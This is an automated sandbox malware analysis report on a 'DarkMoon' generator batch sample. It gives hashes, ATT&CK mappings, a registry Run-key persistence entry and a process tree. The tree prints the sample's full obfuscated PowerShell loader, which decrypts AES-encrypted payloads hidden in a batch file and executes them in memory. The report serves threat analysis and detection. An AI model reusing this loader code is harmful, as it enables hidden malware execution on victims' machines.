e3b738d063a721f7fbc486125d6ff34e238f1f1ff5561af2b6db80eec5ae5654

Analysis

max time kernel
118s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02/06/2024, 15:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DarkMoon_Gen_1-3/starter.bat
Size 51B
Sample240602-s59bzagg36
SHA256 97c5438395ba799a673564195db730de8d9742a7a141566fa7c9075c46e3a039
MD5 abc778ba27885c72f364ad89b1306862
SHA1 2d4bfe8e2de4390109e8fa786ad47ec68daeaffe
SHA512 65a9bcdb3493526dd0b340aacabd30cd2e577a03cac920341e7be041e8de133ced0ab45c14a2509fbbd6f2451ac3ef1f5d520328d44f06aa4af6bfb122991f8f
MD5 SHA1 SHA512

Score

7^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1656	uni.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1888	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	main.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
2	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 13 IoCs

evasion

pid	Process
2568	timeout.exe
1488	timeout.exe
580	timeout.exe
2028	timeout.exe
1644	timeout.exe
2420	timeout.exe
2844	timeout.exe
2180	timeout.exe
1636	timeout.exe
3012	timeout.exe
2812	timeout.exe
2924	timeout.exe
1692	timeout.exe

Runs ping.exe 1 TTPs 17 IoCs

Remote System Discovery

T1018

pid	Process
2492	PING.EXE
2428	PING.EXE
2204	PING.EXE
1772	PING.EXE
2636	PING.EXE
2516	PING.EXE
2456	PING.EXE
2356	PING.EXE
328	PING.EXE
2224	PING.EXE
3028	PING.EXE
2676	PING.EXE
2532	PING.EXE
2520	PING.EXE
692	PING.EXE
2760	PING.EXE
2576	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1656	uni.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1656	uni.bat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 1888	2240	cmd.exe	29
PID 2240 wrote to memory of 1888	2240	cmd.exe	29
PID 2240 wrote to memory of 1888	2240	cmd.exe	29
PID 2240 wrote to memory of 1756	2240	cmd.exe	31
PID 2240 wrote to memory of 1756	2240	cmd.exe	31
PID 2240 wrote to memory of 1756	2240	cmd.exe	31
PID 1756 wrote to memory of 2252	1756	main.exe	32
PID 1756 wrote to memory of 2252	1756	main.exe	32
PID 1756 wrote to memory of 2252	1756	main.exe	32
PID 2252 wrote to memory of 2916	2252	cmd.exe	34
PID 2252 wrote to memory of 2916	2252	cmd.exe	34
PID 2252 wrote to memory of 2916	2252	cmd.exe	34
PID 2252 wrote to memory of 2924	2252	cmd.exe	35
PID 2252 wrote to memory of 2924	2252	cmd.exe	35
PID 2252 wrote to memory of 2924	2252	cmd.exe	35
PID 2252 wrote to memory of 2636	2252	cmd.exe	36
PID 2252 wrote to memory of 2636	2252	cmd.exe	36
PID 2252 wrote to memory of 2636	2252	cmd.exe	36
PID 2252 wrote to memory of 2676	2252	cmd.exe	37
PID 2252 wrote to memory of 2676	2252	cmd.exe	37
PID 2252 wrote to memory of 2676	2252	cmd.exe	37
PID 2252 wrote to memory of 2760	2252	cmd.exe	38
PID 2252 wrote to memory of 2760	2252	cmd.exe	38
PID 2252 wrote to memory of 2760	2252	cmd.exe	38
PID 2252 wrote to memory of 2532	2252	cmd.exe	39
PID 2252 wrote to memory of 2532	2252	cmd.exe	39
PID 2252 wrote to memory of 2532	2252	cmd.exe	39
PID 2252 wrote to memory of 2516	2252	cmd.exe	40
PID 2252 wrote to memory of 2516	2252	cmd.exe	40
PID 2252 wrote to memory of 2516	2252	cmd.exe	40
PID 2252 wrote to memory of 2456	2252	cmd.exe	41
PID 2252 wrote to memory of 2456	2252	cmd.exe	41
PID 2252 wrote to memory of 2456	2252	cmd.exe	41
PID 2252 wrote to memory of 2492	2252	cmd.exe	42
PID 2252 wrote to memory of 2492	2252	cmd.exe	42
PID 2252 wrote to memory of 2492	2252	cmd.exe	42
PID 2252 wrote to memory of 2520	2252	cmd.exe	43
PID 2252 wrote to memory of 2520	2252	cmd.exe	43
PID 2252 wrote to memory of 2520	2252	cmd.exe	43
PID 2252 wrote to memory of 2356	2252	cmd.exe	44
PID 2252 wrote to memory of 2356	2252	cmd.exe	44
PID 2252 wrote to memory of 2356	2252	cmd.exe	44
PID 2252 wrote to memory of 2420	2252	cmd.exe	45
PID 2252 wrote to memory of 2420	2252	cmd.exe	45
PID 2252 wrote to memory of 2420	2252	cmd.exe	45
PID 2252 wrote to memory of 2428	2252	cmd.exe	46
PID 2252 wrote to memory of 2428	2252	cmd.exe	46
PID 2252 wrote to memory of 2428	2252	cmd.exe	46
PID 2252 wrote to memory of 2844	2252	cmd.exe	47
PID 2252 wrote to memory of 2844	2252	cmd.exe	47
PID 2252 wrote to memory of 2844	2252	cmd.exe	47
PID 2252 wrote to memory of 2204	2252	cmd.exe	48
PID 2252 wrote to memory of 2204	2252	cmd.exe	48
PID 2252 wrote to memory of 2204	2252	cmd.exe	48
PID 2252 wrote to memory of 2028	2252	cmd.exe	49
PID 2252 wrote to memory of 2028	2252	cmd.exe	49
PID 2252 wrote to memory of 2028	2252	cmd.exe	49
PID 2252 wrote to memory of 328	2252	cmd.exe	50
PID 2252 wrote to memory of 328	2252	cmd.exe	50
PID 2252 wrote to memory of 328	2252	cmd.exe	50
PID 1888 wrote to memory of 1656	1888	cmd.exe	51
PID 1888 wrote to memory of 1656	1888	cmd.exe	51
PID 1888 wrote to memory of 1656	1888	cmd.exe	51
PID 2252 wrote to memory of 2568	2252	cmd.exe	52

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\starter.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K uni.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
    "uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\main.exe
  main.exe
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\system32\cmd.exe
    cmd /c "Dark Moon gen.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2916
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:2924
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2636
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2676
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2760
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2532
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2516
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2456
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2492
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2520
  - - C:\Windows\system32\PING.EXE
      ping discord.com
      4⤵
      Runs ping.exe
      PID:2356
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2420
  - - C:\Windows\system32\PING.EXE
      ping www.paysafecard.com
      4⤵
      Runs ping.exe
      PID:2428
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2844
  - - C:\Windows\system32\PING.EXE
      ping www.amazon.com
      4⤵
      Runs ping.exe
      PID:2204
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2028
  - - C:\Windows\system32\PING.EXE
      ping play.google.com
      4⤵
      Runs ping.exe
      PID:328
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2568
  - - C:\Windows\system32\PING.EXE
      ping store.steampowered.com
      4⤵
      Runs ping.exe
      PID:2576
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1488
  - - C:\Windows\system32\PING.EXE
      ping netflix.com
      4⤵
      Runs ping.exe
      PID:1772
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2180
  - - C:\Windows\system32\PING.EXE
      ping www.spotify.com
      4⤵
      Runs ping.exe
      PID:692
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1692
  - - C:\Windows\system32\PING.EXE
      ping www.xbox.com
      4⤵
      Runs ping.exe
      PID:2224
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1644
  - - C:\Windows\system32\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1636
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:3012
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:2812
  - - C:\Windows\system32\PING.EXE
      ping www.google.com
      4⤵
      Runs ping.exe
      PID:3028
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

uni.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Dark Moon gen.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.bat
Size 35KB
SHA256 2fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
MD5 c153581143e0b72cecae38a393991a4b
SHA1 da43d03b19765594ff124415a060551343823a39
SHA512 8c9807f4a3044f49d99e5b1c2a20d112eba61570fa0e725777a3bd84d6a0e7df1c604579863e27c6d0617c2c84fa4ae8c3b7525e37f7e7ee9c6ef26b6c9db40f
SSDEEP 768:sQFlE38u/LOzTWyv+C42E42aSCghIcjH3oyjoyhPekLLokLL76VkLLHwkLDkLP9J:sQFl48GLOzTWyv+C42E42aSCghIcjH3e
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1656-8-0x000000001B1A0000-0x000000001B482000-memory.dmp

Download

memory/1656-9-0x0000000001D40000-0x0000000001D48000-memory.dmp

Download